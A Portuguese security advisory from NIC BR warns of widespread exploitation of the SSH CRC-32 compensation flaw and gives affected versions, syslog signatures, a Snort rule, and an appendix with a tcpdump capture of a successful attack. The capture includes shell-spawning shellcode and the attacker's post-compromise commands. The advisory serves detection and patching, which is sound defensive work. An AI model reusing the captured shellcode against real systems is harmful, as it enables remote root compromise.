Grupos de Trabalho - Documentos do GT-S
NIC BR Security Office <nbso@nic.br >
Vulnerabilidade remota no sshd sendo amplamente explorada
1. Introdução
O SSH é um protocolo que tem sido muito utilizado para substituir outras formas de login remoto. Nos últimos meses diversos problemas de segurança, em diversas versões de ssh, foram relatados.
Este alerta tem o intuito de:
- reforçar a necessidade de atualização das versões de ssh;
- salientar que existem programas que exploram estas falhas e que estão sendo amplamente utilizados para comprometer máquinas vulneráveis;
- mostrar assinaturas que podem ser úteis para identificar máquinas comprometidas.
2. Descrição
Nas últimas semanas aumentou o número de máquinas que foram comprometidas por estarem com versões vulneráveis do ssh. O NBSO teve acesso a diversos artefatos deixados por invasores em máquinas comprometidas. Dentre o material encontrado vale ressaltar a presença de:
- exploits para explorar a vulnerabilidade do "CRC-32 compensation attack";
- arquivos contendo mapeamento de versões de sshd de diversas redes brasileiras e respectivas ferramentas de scan.
- Nessas mesmas redes foi possível capturar a assinatura do exploit em ação.
3. Assinaturas
Assinaturas de tentativas bem como de um ataque bem sucedido são mostradas no Apêndice e na seção "informações adicionais".
4. Sistemas Afetados
As seguintes versões são vulneráveis:
OpenSSH: versões menores que 2.3.0;
ssh.com: versao 1.2.24 ate' 1.2.31 (ssh-2.x não é vulnerável)
Mais detalhes bem como outras implementações de ssh afetadas estão listados no seguinte advisory da CORE-SDI:
https://www.core-sdi.com/pressroom/advisories_desplegado.php?idx=81&idxsection=10
Para descobrir sua versão de ssh digite: ssh -V
5. Impacto
Acesso de root remoto em máquinas rodando versões vulneráveis de ssh.
6. Solução
Recomenda-se atualizar o ssh em uso para a ultima versão disponível.
7. Informações adicionais
Nesse mesmo período a comunidade internacional de segurança também tem lançado alertas sobre o crescente numero de comprometimentos de máquinas através de versões vulneráveis de ssh:
- CERT/CC Incident Note IN-2001-12, "Exploitation of vulnerability in SSH1 CRC-32 compensation attack detector"
https://www.cert.org/incident_notes/IN-2001-12.html
- Vulnerability Note VU#945216, "SSH CRC32 attack detection code contains remote integer overflow"
https://www.kb.cert.org/vuls/id/945216
8. Agradecimentos
Pedro A M Vazquez
Nelson Murilo
Mario L Lacroix
Fabio David
Apêndice
Nas mensagens geradas pelo syslog de maquinas atacadas foram encontradas as entradas:
foo sshd[xxxxx]: Disconnecting: Corrupted check bytes on input.
foo sshd[xxxxx]: fatal: Local: Corrupted check bytes on input.
foo sshd[xxxxx]: fatal: Local: crc32 compensation attack: network attack detected
A seguinte regra do snort detecta a resposta de uma máquina comprometida com sucesso por este exploit:
alert tcp any any - > any any \
(msg:"MISC - MISC - id check returned root"; content: "uid=0(root)";)
Trecho de um ataque bem sucedido capturado via tcpdump. Esse trecho refere-se apenas a parte final quando o invasor obtém a shell de root:
17:52:53.658100 127.0.0.1.1182 > 127.0.0.1.22: tcp 1732 (DF) 0000: 4500 06f8 3274 4000 4006 038a 7f00 0001 E...2t@.@....... 0010: 7f00 0001 049e 0016 ed2e 58fb ed62 8b60 ..........X..b.` 0020: 8018 7960 9890 0000 0101 080a 0003 9637 ..y`...........7 0030: 0003 9637 9090 9090 9090 9090 9090 9090 ...7............ 0040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ [98 linhas idênticas apenas com NOPs (0x90) removidas] 0670: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0680: 31db b307 89e2 6a10 89e1 5152 68fe 0000 1.....j...QRh... 0690: 0089 e131 c0b0 66cd 80a8 ff74 0b5a f6c2 ...1..f....t.Z.. 06a0: ff74 4efe ca52 ebeb 5b31 c9b1 03fe c931 .tN..R..[1.....1 06b0: c0b0 3fcd 8067 e302 ebf3 6a04 6a00 6a12 ..?..g....j.j.j. 06c0: 6a01 53b8 6600 0000 bb0e 0000 0089 e1cd j.S.f........... 06d0: 806a 006a 0068 2f73 6800 682f 6269 6e8d .j.j.h/sh.h/bin. 06e0: 4c24 088d 5424 0c89 2189 e331 c0b0 0bcd L$..T$..!..1.... 06f0: 8031 c0fe c0cd 8000 .1...... 17:52:53.658606 127.0.0.1.22 > 127.0.0.1.1182: tcp 0 (DF) [tos 0x10] 0000: 4510 0034 3275 4000 4006 0a3d 7f00 0001 E..42u@.@..=.... 0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fbf .........b.`.._. 0020: 8010 1e40 63a0 0000 0101 080a 0003 9637 ...@c..........7 0030: 0003 9637 ...7 17:52:53.658813 127.0.0.1.22 > 127.0.0.1.1182: tcp 0 (DF) [tos 0x10] 0000: 4510 0034 3276 4000 4006 0a3c 7f00 0001 E..42v@.@..<.... 0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fbf .........b.`.._. 0020: 8010 3c80 4560 0000 0101 080a 0003 9637 ..<.E`.........7 0030: 0003 9637 ...7 17:52:53.659391 127.0.0.1.22 > 127.0.0.1.1182: tcp 0 (DF) [tos 0x10] 0000: 4510 0034 3277 4000 4006 0a3b 7f00 0001 E..42w@.@..;.... 0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fbf .........b.`.._. 0020: 8010 7900 08e0 0000 0101 080a 0003 9637 ..y............7 0030: 0003 9637 ...7 17:52:55.651755 127.0.0.1.1182 > 127.0.0.1.22: tcp 17 (DF) 0000: 4500 0045 3278 4000 4006 0a39 7f00 0001 E..E2x@.@..9.... 0010: 7f00 0001 049e 0016 ed2e 5fbf ed62 8b60 .........._..b.` 0020: 8018 7960 cbfa 0000 0101 080a 0003 96ff ..y`............ 0030: 0003 9637 6563 686f 2043 4852 4953 2043 ...7echo CHRIS C 0040: 4852 4953 0a HRIS. 17:52:55.652233 127.0.0.1.22 > 127.0.0.1.1182: tcp 12 (DF) [tos 0x10] 0000: 4510 0040 3279 4000 4006 0a2d 7f00 0001 E..@2y@.@..-.... 0010: 7f00 0001 0016 049e ed62 8b60 ed2e 5fd0 .........b.`.._. 0020: 8018 7900 35dd 0000 0101 080a 0003 96ff ..y.5........... 0030: 0003 96ff 4348 5249 5320 4348 5249 530a ....CHRIS CHRIS. 17:52:55.652433 127.0.0.1.1182 > 127.0.0.1.22: tcp 68 (DF) 0000: 4500 0078 327a 4000 4006 0a04 7f00 0001 E..x2z@.@....... 0010: 7f00 0001 049e 0016 ed2e 5fd0 ed62 8b6c .........._..b.l 0020: 8018 7960 6f2f 0000 0101 080a 0003 96ff ..y`o/.......... 0030: 0003 96ff 6563 686f 3b20 6563 686f 2027 ....echo; echo ' 0040: 2a2a 2a2a 2a20 594f 5520 4152 4520 494e ***** YOU ARE IN 0050: 202a 2a2a 2a2a 273b 2065 6368 6f20 3b20 *****'; echo ; 0060: 686f 7374 6e61 6d65 203b 2075 6e61 6d65 hostname ; uname 0070: 202d 613b 2069 640a -a; id. 17:52:55.653006 127.0.0.1.22 > 127.0.0.1.1182: tcp 1 (DF) [tos 0x10] 0000: 4510 0035 327b 4000 4006 0a36 7f00 0001 E..52{@.@..6.... 0010: 7f00 0001 0016 049e ed62 8b6c ed2e 6014 .........b.l..`. 0020: 8018 7900 fce5 0000 0101 080a 0003 96ff ..y............. 0030: 0003 96ff 0a ..... 17:52:55.653264 127.0.0.1.22 > 127.0.0.1.1182: tcp 23 (DF) [tos 0x10] 0000: 4510 004b 327c 4000 4006 0a1f 7f00 0001 E..K2|@.@....... 0010: 7f00 0001 0016 049e ed62 8b6d ed2e 6014 .........b.m..`. 0020: 8018 7900 8bab 0000 0101 080a 0003 96ff ..y............. 0030: 0003 96ff 2a2a 2a2a 2a20 594f 5520 4152 ....***** YOU AR 0040: 4520 494e 202a 2a2a 2a2a 0a E IN *****. 17:52:55.653471 127.0.0.1.22 > 127.0.0.1.1182: tcp 1 (DF) [tos 0x10] 0000: 4510 0035 327d 4000 4006 0a34 7f00 0001 E..52}@.@..4.... 0010: 7f00 0001 0016 049e ed62 8b84 ed2e 6014 .........b....`. 0020: 8018 7900 fccd 0000 0101 080a 0003 96ff ..y............. 0030: 0003 96ff 0a ..... 17:52:55.656806 127.0.0.1.22 > 127.0.0.1.1182: tcp 4 (DF) [tos 0x10] 0000: 4510 0038 327e 4000 4006 0a30 7f00 0001 E..82~@.@..0.... 0010: 7f00 0001 0016 049e ed62 8b85 ed2e 6014 .........b....`. 0020: 8018 7900 3150 0000 0101 080a 0003 96ff ..y.1P.......... 0030: 0003 96ff 666f 6f0a ....foo. 17:52:55.660045 127.0.0.1.22 > 127.0.0.1.1182: tcp 65 (DF) [tos 0x10] 0000: 4510 0075 327f 4000 4006 09f2 7f00 0001 E..u2.@.@....... 0010: 7f00 0001 0016 049e ed62 8b89 ed2e 6014 .........b....`. 0020: 8018 7900 8e0d 0000 0101 080a 0003 96ff ..y............. 0030: 0003 96ff 4c69 6e75 7820 666f 6f20 322e ....Linux foo 2. 0040: 322e 3136 2d32 3220 2331 2054 7565 2041 2.16-22 #1 Tue A 0050: 7567 2032 3220 3136 3a34 393a 3036 2045 ug 22 16:49:06 E 0060: 4454 2032 3030 3020 6936 3836 2075 6e6b DT 2000 i686 unk 0070: 6e6f 776e 0a nown. 17:52:55.665203 127.0.0.1.22 > 127.0.0.1.1182: tcp 88 (DF) [tos 0x10] 0000: 4510 008c 3280 4000 4006 09da 7f00 0001 E...2.@.@....... 0010: 7f00 0001 0016 049e ed62 8bca ed2e 6014 .........b....`. 0020: 8018 7900 5a8d 0000 0101 080a 0003 9700 ..y.Z........... 0030: 0003 96ff 7569 643d 3028 726f 6f74 2920 ....uid=0(root) 0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root) grou 0050: 7073 3d30 2872 6f6f 7429 2c31 2862 696e ps=0(root),1(bin 0060: 292c 3228 6461 656d 6f6e 292c 3328 7379 ),2(daemon),3(sy 0070: 7329 2c34 2861 646d 292c 3628 6469 736b s),4(adm),6(disk 0080: 292c 3130 2877 6865 656c 290a ),10(wheel). 17:52:55.671619 127.0.0.1.1182 > 127.0.0.1.22: tcp 0 (DF) 0000: 4500 0034 3281 4000 4006 0a41 7f00 0001 E..42.@.@..A.... 0010: 7f00 0001 049e 0016 ed2e 6014 ed62 8c22 ..........`..b.& 0020: 8010 7960 05d7 0000 0101 080a 0003 9701 ..y`............ 0030: 0003 96ff ....